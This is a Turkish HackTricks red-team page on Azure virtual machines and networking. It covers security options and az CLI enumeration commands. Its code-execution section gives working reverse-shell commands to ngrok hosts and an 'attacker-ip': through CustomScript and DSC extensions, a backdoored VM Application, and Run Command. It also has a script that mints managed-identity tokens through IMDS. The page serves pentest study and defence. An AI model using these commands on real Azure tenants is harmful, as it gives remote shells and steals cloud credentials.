Az - Virtual Machines & Network

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Azure Networking Basic Info

Azure networks, farklı varlıklar ve yapılandırma yolları içerir. Farklı Azure network varlıklarının kısa açıklamalarını, örneklerini ve enumeration komutlarını şurada bulabilirsiniz:

Az - Azure Network

VMs Basic information

Azure Virtual Machines (VMs), Windows veya Linux işletim sistemlerini çalıştırmanıza izin veren esnek, isteğe bağlı cloud-based sunuculardır. Fiziksel donanımı yönetmeden uygulamaları ve workloads’ları dağıtmanıza olanak tanır. Azure VMs, belirli ihtiyaçları karşılamak ve virtual networks, storage ve security tools gibi Azure hizmetleriyle entegre olmak için çeşitli CPU, memory ve storage seçenekleriyle yapılandırılabilir.

Security Configurations

  • Availability Zones: Availability zones, bir Azure bölgesi içindeki fiziksel olarak ayrılmış, yerel kesintiler veya felaketlerden birden fazla zone’un etkilenme riskini en aza indirmek için kullanılan ayrı datacenter gruplarıdır.
  • Security Type:
  • Standard Security: Bu, herhangi bir özel yapılandırma gerektirmeyen varsayılan security type’dır.
  • Trusted Launch: Bu security type, Secure Boot ve Virtual Trusted Platform Module (vTPM) kullanarak boot kits ve kernel-level malware’e karşı korumayı artırır.
  • Confidential VMs: Trusted launch’un üzerine, VM, hypervisor ve host management arasında hardware-based isolation sunar, disk encryption’ı iyileştirir ve more.
  • Authentication: Varsayılan olarak yeni bir SSH key generated edilir, ancak public key kullanmak veya önceki bir key’i kullanmak mümkündür ve varsayılan username azureuser’dır. Ayrıca password kullanacak şekilde yapılandırmak da mümkündür.
  • VM disk encryption: Disk, default olarak platform managed key kullanılarak at rest şifrelenir.
  • Ayrıca, verilerin storage service’e gönderilmeden önce host üzerinde şifrelendiği, host ile storage service arasında uçtan uca encryption sağlayan Encryption at host da etkinleştirilebilir (docs).
  • NIC network security group:
  • None: Temelde her portu açar
  • Basic: HTTP (80), HTTPS (443), SSH (22), RDP (3389) inbound portlarını kolayca açmaya izin verir
  • Advanced: Bir security group seçin
  • Backup: Standard backup (günde bir kez) ve Enhanced (günde birden fazla) etkinleştirilebilir
  • Patch orchestration options: Bu, docs içinde açıklandığı gibi seçilen policy’ye göre VM’lerde patch’lerin otomatik olarak uygulanmasını sağlar.
  • Alerts: VM’de bir şey olduğunda email veya mobile app ile otomatik olarak alerts almak mümkündür. Varsayılan kurallar:
  • Percentage CPU is greater than 80%
  • Available Memory Bytes is less than 1GB
  • Data Disks IOPS Consumed Percentage is greater than 95%
  • OS IOPS Consumed Percentage is greater than 95%
  • Network in Total is greater than 500GB
  • Network Out Total is greater than 200GB
  • VmAvailabilityMetric is less than 1
  • Heath monitor: Varsayılan olarak 80 portunda HTTP protocol kontrol eder
  • Locks: Bir VM’nin yalnızca okunabilir (ReadOnly lock) ya da okunup güncellenebilir ancak silinemeyebilir (CanNotDelete lock) şekilde kilitlenmesini sağlar.
  • VM ile ilgili kaynakların çoğu diskler, snapshots… gibi locks’ları da destekler
  • Locks, resource group ve subscription seviyelerinde de uygulanabilir

Disks & snapshots

  • Bir disk’in 2 veya daha fazla VM’ye bağlanması etkinleştirilebilir
  • Varsayılan olarak her disk bir platform key ile encrypted edilir.
  • snapshots için de aynı
  • Varsayılan olarak disk’in tüm networklerden paylaşılmasına izin verilir, ancak yalnızca belirli private access ile sınırlandırılabilir veya public ve private access tamamen devre dışı bırakılabilir.
  • snapshots için de aynı
  • Disk’i export etmek için (en fazla 60 gün) SAS URI generated edilebilir; authentication gerektirecek şekilde veya gerektirmeyecek şekilde yapılandırılabilir
  • snapshots için de aynı
# List all disks
az disk list --output table

# Get info about a disk
az disk show --name <disk-name> --resource-group <rsc-group>

Bir VM image; yeni bir sanal makine (VM) oluşturmak için gereken işletim sistemi, application settings ve filesystem içeren bir şablondur. Bir image ile disk snapshot arasındaki fark, disk snapshot’ın tek bir managed disk’in salt okunur, point-in-time kopyası olmasıdır; öncelikle backup veya troubleshooting için kullanılırken, bir image birden fazla disk içerebilir ve yeni VM’ler oluşturmak için bir şablon olarak hizmet vermek üzere tasarlanmıştır.
Images, Azure’un Images section içinde veya Azure compute galleries içinde yönetilebilir; bu da image için versions oluşturmayı, image’ı tenantlar arası share etmeyi ve hatta public yapmayı sağlar.

Bir restore point, VM configuration’ı ve VM’e bağlı tüm managed disk’lerin point-in-time application-consistent snapshots’ını saklar. Bu, VM ile ilişkilidir ve amacı, o VM’i belirli bir andaki haline geri yükleyebilmektir.

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shaerd with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

Azure Site Recovery

From the docs: Site Recovery, business uygulamaların ve workload’ların outage sırasında çalışmaya devam etmesini sağlayarak business continuity’yi güvence altına almaya yardımcı olur. Site Recovery, physical ve virtual machines (VMs) üzerinde çalışan workload’ları bir primary site’dan secondary location’a replicates. Primary site’ınızda bir outage olduğunda, secondary location’a fail over yaparsınız ve apps’e oradan erişirsiniz. Primary location tekrar çalışır hale geldikten sonra, ona geri fail back yapabilirsiniz.

Azure Bastion

Azure Bastion, virtual machines (VMs) için Azure Portal üzerinden doğrudan veya bir jump box aracılığıyla güvenli ve sorunsuz Remote Desktop Protocol (RDP) ve Secure Shell (SSH) erişimi sağlar. Bunu VM’ler üzerindeki public IP addresses ihtiyacını ortadan kaldırarak yapar.

Bastion, çalışması gereken VNet içinde /26 netmask’e sahip AzureBastionSubnet adlı bir subnet deploy eder. Ardından, VMs’in portlarını Internet’e açmadan RDP ve SSH kullanarak browser üzerinden internal VMs’e connect etmeye izin verir. Ayrıca bir jump host olarak da çalışabilir.

Subscription’ınızdaki tüm Azure Bastion Hosts’u listelemek ve onlar üzerinden VMs’e connect olmak için aşağıdaki commands’i kullanabilirsiniz:

# List bastions
az network bastion list -o table

# Connect via SSH through bastion
az network bastion ssh \
--name MyBastion \
--resource-group MyResourceGroup \
--target-resource-id /subscriptions/12345678-1234-1234-1234-123456789abc/resourceGroups/MyResourceGroup/providers/Microsoft.Compute/virtualMachines/MyVM \
--auth-type ssh-key \
--username azureuser \
--ssh-key ~/.ssh/id_rsa

# Connect via RDP through bastion
az network bastion rdp \
--name <BASTION_NAME> \
--resource-group <RESOURCE_GROUP> \
--target-resource-id /subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP>/providers/Microsoft.Compute/virtualMachines/<VM_NAME> \
--auth-type password \
--username <VM_USERNAME> \
--password <VM_PASSWORD>

Metadata

Azure Instance Metadata Service (IMDS) çalışan virtual machine instance’ları hakkında bilgi sağlar ve yönetim ile yapılandırmalarına yardımcı olur. SKU, storage, network yapılandırmaları ve REST API available at the non-routable IP address 169.254.169.254 üzerinden yaklaşan bakım olayları hakkında bilgiler sunar; bu adres yalnızca VM içinden erişilebilir. VM ile IMDS arasındaki iletişim host içinde kalır ve güvenli erişim sağlar. IMDS sorgulanırken, VM içindeki HTTP clients doğru iletişim için web proxy’leri atlamalıdır.

Ayrıca, metadata endpoint’ine bağlanmak için HTTP request içinde Metadata: true header’ı olmalı ve X-Forwarded-For header’ı olmamalıdır.

Metadata endpoint’inden access token istenirken, varsayılan olarak metadata service herhangi bir system assigned managed identity varsa token üretmek için system assigned managed identity kullanır. Eğer yalnızca ONE user assigned managed identity varsa, bu varsayılan olarak kullanılır. Ancak system assigned managed identity yoksa ve multiple user assigned managed identities varsa, metadata service birden fazla managed identity olduğunu belirten bir error döndürür ve hangisinin kullanılacağını belirtmek gerekir.

Bunu nasıl enumerate edeceğinizi şurada kontrol edin:

Cloud SSRF - HackTricks

VM Enumeration

# VMs
## List all VMs and get info about one
az vm list --output table
az vm show --name <came> --resource-group <rsc-group>

## List all available VM images and get info about one
az vm image list --all --output table

# VM Extensions
## List all VM extensions
az vm extension image list --output table

## Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

## List extensions in a VM
az vm extension list -g <rsc-group> --vm-name <vm-name>

## List managed identities in a VM
az vm identity show \
--resource-group <rsc-group> \
--name <vm-name>

# Disks
## List all disks and get info about one
az disk list --output table
az disk show --name <disk-name> --resource-group <rsc-group>

# Snapshots
## List all galleries abd get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all snapshots and get info about one
az snapshot list --output table
az snapshot show --name <name> --resource-group <rsc-group>

# Shared Image Galleries | Compute Galleries
## List all galleries and get info about one
az sig list --output table
az sig show --gallery-name <name> --resource-group <rsc-group>

## List all community galleries
az sig list-community --output table

## List galleries shared with me
az sig list-shared --location <location> --output table

## List all image definitions in a gallery and get info about one
az sig image-definition list --gallery-name <name> --resource-group <rsc-group> --output table
az sig image-definition show --gallery-image-definition <name> --gallery-name <gallery-name> --resource-group <rsc-group>

## List all the versions of an image definition in a gallery
az sig image-version list --gallery-image-name <image-name> --gallery-name <gallery-name> --resource-group <rsc-group --output table

## List all VM applications inside a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

# Images
# List all managed images in your subscription
az image list --output table

# Restore points
## List all restore points and get info about 1
az restore-point collection list-all --output table
az restore-point collection show --collection-name <collection-name> --resource-group <rsc-group>

# Bastion
## list all bastions
az network bastion list -o table

# Network
## List VNets
az network vnet list --query "[].{name:name, location:location, addressSpace:addressSpace}"

## List subnets of a VNet
az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VNetName> --query "[].{name:name, addressPrefix:addressPrefix}" -o table

## List public IPs
az network public-ip list --output table

## Get NSG rules
az network nsg rule list --nsg-name <NSGName> --resource-group <ResourceGroupName> --query "[].{name:name, priority:priority, direction:direction, access:access, protocol:protocol, sourceAddressPrefix:sourceAddressPrefix, destinationAddressPrefix:destinationAddressPrefix, sourcePortRange:sourcePortRange, destinationPortRange:destinationPortRange}" -o table

## Get NICs and subnets using this NSG
az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --query "{subnets: subnets, networkInterfaces: networkInterfaces}"

## List all Nics & get info of a single one
az network nic list --output table
az network nic show --name <name> --resource-group <rsc-group>

## List Azure Firewalls
az network firewall list --query "[].{name:name, location:location, subnet:subnet, publicIp:publicIp}" -o table

## Get network rules of a firewall
az network firewall network-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get application rules of a firewall
az network firewall application-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## Get nat rules of a firewall
az network firewall nat-rule collection list --firewall-name <FirewallName> --resource-group <ResourceGroupName> --query "[].{name:name, rules:rules}" -o table

## List Route Tables
az network route-table list --query "[].{name:name, resourceGroup:resourceGroup, location:location}" -o table

## List routes for a table
az network route-table route list --route-table-name <RouteTableName> --resource-group <ResourceGroupName> --query "[].{name:name, addressPrefix:addressPrefix, nextHopType:nextHopType, nextHopIpAddress:nextHopIpAddress}" -o table

# Misc
## List all virtual machine scale sets
az vmss list --output table

## List all availability sets
az vm availability-set list --output table

## List all load balancers
az network lb list --output table

## List all storage accounts
az storage account list --output table

## List all custom script extensions on a specific VM
az vm extension list --vm-name <vm-name> --resource-group <resource-group>

# Show boot diagnostics settings for a specific VM
az vm boot-diagnostics get-boot-log --name <vm-name> --resource-group <resource-group>

## List all tags on virtual machines
az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[].{Name:name, Tags:tags}" --output table

# List all available run commands for virtual machines
az vm run-command list --output table

VMs’de Code Execution

VM Extensions

Azure VM extensions, Azure virtual machines (VMs) üzerinde post-deployment configuration ve automation görevleri sağlayan küçük uygulamalardır.

Bu, VMs içinde arbitrary code execute etmeye izin verir.

Gerekli permission Microsoft.Compute/virtualMachines/extensions/write’dır.

Mevcut tüm extensions’ları listelemek mümkündür:

# It takes some mins to run
az vm extension image list --output table

# Get extensions by publisher
az vm extension image list --publisher "Site24x7" --output table

Özel kod çalıştıran özel extension’ları çalıştırmak mümkündür:

  • Bir ters shell çalıştırın
# Prepare the rev shell
echo -n 'bash -i  >& /dev/tcp/2.tcp.eu.ngrok.io/13215 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ==

# Execute rev shell
az vm extension set \
--resource-group <rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{}' \
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
  • İnternette bulunan bir script’i execute et
az vm extension set \
--resource-group rsc-group> \
--vm-name <vm-name> \
--name CustomScript \
--publisher Microsoft.Azure.Extensions \
--version 2.1 \
--settings '{"fileUris": ["https://gist.githubusercontent.com/carlospolop/8ce279967be0855cc13aa2601402fed3/raw/72816c3603243cf2839a7c4283e43ef4b6048263/hacktricks_touch.sh"]}' \
--protected-settings '{"commandToExecute": "sh hacktricks_touch.sh"}'

İlgili VM extensions

Gerekli izin hâlâ Microsoft.Compute/virtualMachines/extensions/write.

VMAccess extension

Bu extension, Windows VMs içindeki kullanıcıların password’unu değiştirmeye (veya yoksa oluşturmayı) izin verir.

# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
DesiredStateConfiguration (DSC)

Bu, Azure Windows VM’lerinin yapılandırmasını yönetmek için PowerShell DSC kullanan Microsoft’a ait bir VM extension’dır. Bu nedenle, bu extension aracılığıyla Windows VM’lerinde arbitrary commands çalıştırmak için kullanılabilir:

# Content of revShell.ps1
Configuration RevShellConfig {
Node localhost {
Script ReverseShell {
GetScript = { @{} }
SetScript = {
$client = New-Object System.Net.Sockets.TCPClient('attacker-ip',attacker-port);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length)
}
$client.Close()
}
TestScript = { return $false }
}
}
}
RevShellConfig -OutputPath .\Output

# Upload config to blob
$resourceGroup = 'dscVmDemo'
$storageName = 'demostorage'
Publish-AzVMDscConfiguration `
-ConfigurationPath .\revShell.ps1 `
-ResourceGroupName $resourceGroup `
-StorageAccountName $storageName `
-Force

# Apply DSC to VM and execute rev shell
$vmName = 'myVM'
Set-AzVMDscExtension `
-Version '2.76' `
-ResourceGroupName $resourceGroup `
-VMName $vmName `
-ArchiveStorageAccountName $storageName `
-ArchiveBlobName 'revShell.ps1.zip' `
-AutoUpdate `
-ConfigurationName 'RevShellConfig'
Hybrid Runbook Worker

Bu, bir automation account içinden VMs üzerinde runbook’ların çalıştırılmasına izin veren bir VM extension’dır. Daha fazla bilgi için Automation Accounts service bölümüne bakın.

VM Applications

Bunlar, VMs içine uygulamaları kolayca eklemek ve kaldırmak için kullanılabilen tüm application verilerini ve install ve uninstall script’lerini içeren paketlerdir.

# List all galleries in resource group
az sig list --resource-group <res-group> --output table

# List all apps in a gallery
az sig gallery-application list --gallery-name <gallery-name> --resource-group <res-group> --output table

Uygulamaların dosya sistemi içinde indirildiği yollar şunlardır:

  • Linux: /var/lib/waagent/Microsoft.CPlat.Core.VMApplicationManagerLinux/<appname>/<app version>
  • Windows: C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.9\Downloads\<appname>\<app version>

Yeni uygulamaları nasıl kuracağınızı https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli adresinden kontrol edin

Caution

Tek tek apps ve galleries’yi diğer subscriptions veya tenants ile paylaşmak mümkündür. Bu çok ilginçtir çünkü bir saldırganın bir application’ı backdoor’lamasına ve diğer subscriptions ve tenants’a pivot yapmasına izin verebilir.

Ancak extensions’ta olduğu gibi vm apps için bir “marketplace” yoktur.

Gereken permissions şunlardır:

  • Microsoft.Compute/galleries/applications/write
  • Microsoft.Compute/galleries/applications/versions/write
  • Microsoft.Compute/virtualMachines/write
  • Microsoft.Network/networkInterfaces/join/action
  • Microsoft.Compute/disks/write

Keyfi komutlar çalıştırmak için exploitation örneği:

# Create gallery (if the isn't any)
az sig create --resource-group myResourceGroup \
--gallery-name myGallery --location "West US 2"

# Create application container
az sig gallery-application create \
--application-name myReverseShellApp \
--gallery-name myGallery \
--resource-group <rsc-group> \
--os-type Linux \
--location "West US 2"

# Create app version with the rev shell
## In Package file link just add any link to a blobl storage file
az sig gallery-application version create \
--version-name 1.0.2 \
--application-name myReverseShellApp \
--gallery-name myGallery \
--location "West US 2" \
--resource-group <rsc-group> \
--package-file-link "https://testing13242erih.blob.core.windows.net/testing-container/asd.txt?sp=r&st=2024-12-04T01:10:42Z&se=2024-12-04T09:10:42Z&spr=https&sv=2022-11-02&sr=b&sig=eMQFqvCj4XLLPdHvnyqgF%2B1xqdzN8m7oVtyOOkMsCEY%3D" \
--install-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--remove-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" \
--update-command "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'"

# Install the app in a VM to execute the rev shell
## Use the ID given in the previous output
az vm application set \
--resource-group <rsc-group> \
--name <vm-name> \
--app-version-ids /subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Compute/galleries/myGallery/applications/myReverseShellApp/versions/1.0.2 \
--treat-deployment-as-failure true

User data

Bu, metadata endpoint üzerinden herhangi bir zamanda alınabilen persistent data’dır. Azure’da user data, AWS ve GCP’den farklıdır çünkü buraya bir script koyarsanız varsayılan olarak çalıştırılmaz.

Custom data

VM’ye, beklenen path’lerde saklanacak bazı data geçmek mümkündür:

  • Windows’ta custom data, %SYSTEMDRIVE%\AzureData\CustomData.bin içinde binary file olarak yer alır ve işlenmez.
  • Linux’ta /var/lib/waagent/ovf-env.xml içinde saklanırdı ve artık /var/lib/waagent/CustomData/ovf-env.xml içinde saklanıyor
  • Linux agent: Varsayılan olarak custom data’yı işlemez, data’nın etkin olduğu bir custom image gerekir
  • cloud-init: Varsayılan olarak custom data’yı işler ve bu data several formats içinde olabilir. Custom data içine sadece script’i göndererek kolayca bir script çalıştırabilir.
  • Hem Ubuntu hem de Debian’ın buraya koyduğunuz script’i çalıştırdığını denedim.
  • Bunun çalıştırılması için user data’yı etkinleştirmek de gerekmez.
#!/bin/sh
echo "Hello World" > /var/tmp/output.txt

Komut Çalıştır

Bu, Azure’ın VM’lerde keyfi komutlar çalıştırmak için sağladığı en temel mekanizmadır. Gerekli izin Microsoft.Compute/virtualMachines/runCommand/action’dır.

# Execute rev shell
az vm run-command invoke \
--resource-group <rsc-group> \
--name <vm-name> \
--command-id RunShellScript \
--scripts @revshell.sh

# revshell.sh file content
echo "bash -c 'bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/19159 0>&1'" > revshell.sh

Azure WireServer & GoalState

Azure VM’leri, yapılandırma, metadata alımı ve kimlik yönetimi için kullanılan dahili platform endpoint’lerini açığa çıkarır. Bunlar arasındaki farkı anlamak, enumeration, privilege escalation ve post-exploitation için kritik önemdedir.

Wire Server (Azure Fabric Endpoint)

Azure WireServer, platformun VM ile iletişim kurmak için kullandığı dahili bir Azure IP’sidir (168.63.129.16).

Şunlardan sorumludur:

  • VM Agent ile iletişim
  • Şunların iletilmesi:
  • GoalState
  • ExtensionsConfig
  • Dahili VM yapılandırması (identities dahil)
  • DHCP & DNS hizmetleri
  • Health monitoring

GoalState & ExtensionsConfig

GoalState, Azure tarafından tanımlanan VM’nin istenen yapılandırmasını temsil eder. Şunları içerebilir:

  • Extensions configuration
  • Managed identities
  • Provisioning state
  • Agent instructions

ExtensionsConfig, VM extensions için ayrıntılı yapılandırma içerir ve şunları içerebilir:

  • User Assigned Managed Identities
  • Extension ayarları
  • Secrets (extension’a bağlı olarak)

Bu endpoint’lere genellikle şu şekilde erişilir:

curl -H "x-ms-version: 2012-11-30" http://168.63.129.16/machine?comp=goalstate

Access considerations

WireServer IP’sine genellikle VM içindeki guest network stack üzerinden erişilebilir. Bu yalnızca Azure VM Agent, Run Command veya VM extensions ile sınırlı değildir. Microsoft, sıradan in-guest script’lerin 168.63.129.16 adresinden doğrudan GoalState sorguladığı agentless Linux provisioning örneklerini bile dokümante eder.

Ancak her proses mutlaka aynı pratik sonucu vermez:

  • Bazı endpoint’ler, GoalState için x-ms-version: 2012-11-30 gibi Azure-özgü header’lar ister.
  • Host firewall kuralları, proxy’ler, route’lar, network namespace’ler, containers veya endpoint protection dahil olmak üzere lokal guest kontroller erişimi engelleyebilir ya da değiştirebilir.
  • VM extensions ve Run Command çoğunlukla VM Agent üzerinden root/SYSTEM olarak çalışır, bu yüzden interaktif bir kullanıcıyı etkileyen lokal OS kısıtlamalarını aşabilirler.
  • Bazı veriler agent/extension’a özeldir ve VM’nin provisioning durumuna, kurulu agent’a, yapılandırılmış extensions’a veya managed identity konfigürasyonuna bağlı olabilir.

Bu nedenle, bir request Run Command’dan çalışıp SSH’den başarısız oluyorsa, genelde açıklama OS user, environment, routing, proxy, firewall veya namespace farkıdır; yalnızca agent execution context’lerinin 168.63.129.16 adresine erişebileceğine dair genel bir Azure kuralı değildir.

Lab testlerinde bu ayrım görünüyordu: Run Command veya Custom Script extensions üzerinden Linux/Windows VM Agent execution, 168.63.129.16 üzerindeki GoalState’e erişebiliyordu; başka bir Linux VM’deki normal bir SSH session ise IMDS’ye erişebiliyor ama GoalState sorgulanınca timeout alıyordu. WireServer/GoalState’i faydalı ama environment-dependent olarak değerlendirin; managed identities enumerasyonu için kanonik yol olarak buna güvenmeyin.

Managed Identity Access From Inside the VM

Bir VM’nin managed identities’lerini kullanmanın güvenilir yolu, WireServer ExtensionsConfig XML’i değil, 169.254.169.254 üzerindeki IMDS managed identity endpoint’idir. Sadece ExtensionsConfig içinde UserAssignedIdentity node’larını arayan script’ler güvenilir değildir çünkü:

  • VM’nin managed identity assignment’i extension XML içinde UserAssignedIdentity node’ları olarak temsil edilmek zorunda değildir.
  • system-assigned managed identities’leri kaçırırlar.
  • Sadece mevcut GoalState/extension data beklenen XML yapısını sunuyorsa user-assigned identity’leri bulurlar.

Microsoft’un dokümante ettiği security model, VM üzerinde çalışan tüm code’ların o VM’de bulunan managed identity’ler için token isteyebileceği yönündedir. Bu şu ortamlardan doğrulandı:

  • Linux SSH ile normal bir VM user olarak.
  • VM Agent üzerinden Linux Run Command ile.
  • VM Agent üzerinden Linux Custom Script extension ile.
  • NT AUTHORITY\SYSTEM olarak Windows Custom Script extension ile.

Bu bağlamların hepsinde, istenen identity VM için mevcut olduğunda IMDS; Management, Microsoft Graph/Entra ID, Key Vault ve Storage için token mint edebiliyordu.

Birbiriyle karıştırılması kolay iki farklı problem vardır:

  • Bilinen bir identity için token almak: Identity VM’ye atanmışsa, IMDS https://management.azure.com/, https://graph.microsoft.com/, https://vault.azure.net ve https://storage.azure.com/ gibi farklı audience’lar için token verebilir. Birden fazla user-assigned identity varsa, belirli bir tanesini client_id, object_id veya msi_res_id ile isteyin.
  • VM içinden bağlı tüm identity’leri keşfetmek: IMDS basit bir “list all identities” endpoint’i sağlamaz. Pratik bir yöntem, varsayılan bir Management token almak, VM resource’unu ARM üzerinden okumak ve identity property’sini incelemektir. Bu yalnızca o managed identity’nin VM üzerinde Microsoft.Compute/virtualMachines/read gibi izinleri varsa çalışır. ARM 403 dönerse, token hâlâ geçerli ve faydalı olabilir, ancak VM’nin tüm identity listesini enumerate edemez.

Eğer ARM discovery başarısız olursa, yine de identity benzeri alanları (clientId, IdentityClientId, msi_res_id, user-assigned identity resource ID’leri) aramak için GoalState ve http://168.63.129.16:32526/vmSettings gibi WireServer/HostGAPlugin kaynaklarını deneyebilir ve sonra IMDS’den bu selector’larla token isteyebilirsiniz. Bu bir fallback’tir, garanti değildir: bu endpoint’ler context-dependent’dir ve hiç managed identity selector göstermeyebilir.

Aşağıdaki örnekler önce bir token ister. Ardından VM resource’unu Azure Resource Manager’dan okumaya ve identity property’sini yazdırmaya çalışır. İkinci adım yalnızca managed identity’nin VM üzerinde Microsoft.Compute/virtualMachines/read gibi izinleri varsa çalışır.

#!/usr/bin/env bash
set -euo pipefail

imds="http://169.254.169.254/metadata"
api_version="2021-02-01"
resource="${1:-https://management.azure.com/}"

# Optional. Examples:
#   export MSI_SELECTOR='client_id=<client-id>'
#   export MSI_SELECTOR='object_id=<principal-id>'
#   export MSI_SELECTOR='msi_res_id=/subscriptions/.../userAssignedIdentities/name'
selector="${MSI_SELECTOR:-}"

urlencode() {
python3 -c 'import sys, urllib.parse; print(urllib.parse.quote(sys.argv[1], safe=""))' "$1"
}

token_url="$imds/identity/oauth2/token?api-version=$api_version&resource=$(urlencode "$resource")"
if [[ -n "$selector" ]]; then
token_url="$token_url&$selector"
fi

echo "[*] Requesting managed identity token for: $resource"
token_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$token_url")"

access_token="$(
TOKEN_JSON="$token_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["TOKEN_JSON"])["access_token"])
PY
)"

TOKEN="$access_token" python3 - <<'PY'
import base64, json, os

token = os.environ["TOKEN"]
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
claims = json.loads(base64.urlsafe_b64decode(payload))

print("[+] Token acquired")
for key in ("tid", "appid", "oid", "xms_mirid"):
if key in claims:
print(f"    {key}: {claims[key]}")
PY

echo "[*] Trying to read the VM identity property through ARM..."
compute_json="$(curl -fsS --noproxy "*" -H "Metadata:true" "$imds/instance/compute?api-version=$api_version")"
vm_id="$(
COMPUTE_JSON="$compute_json" python3 - <<'PY'
import json, os
print(json.loads(os.environ["COMPUTE_JSON"])["resourceId"])
PY
)"

arm_url="https://management.azure.com${vm_id}?api-version=2024-07-01"
if vm_json="$(curl -fsS -H "Authorization: Bearer $access_token" "$arm_url" 2>/dev/null)"; then
VM_JSON="$vm_json" python3 - <<'PY'
import json, os
vm = json.loads(os.environ["VM_JSON"])
print(json.dumps(vm.get("identity", {}), indent=2))
PY
else
echo "[-] Could not read the VM resource with this identity. The token may still be valid, but it lacks ARM read permissions on the VM."
fi

Yetki Yükseltme

Az - Virtual Machines & Network Privesc

Kimlik Doğrulaması Olmadan Erişim

Az - VMs Unauth

Sonrası Exploitation

Az - VMs & Network Post Exploitation

Persistence

Az - VMs Persistence

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin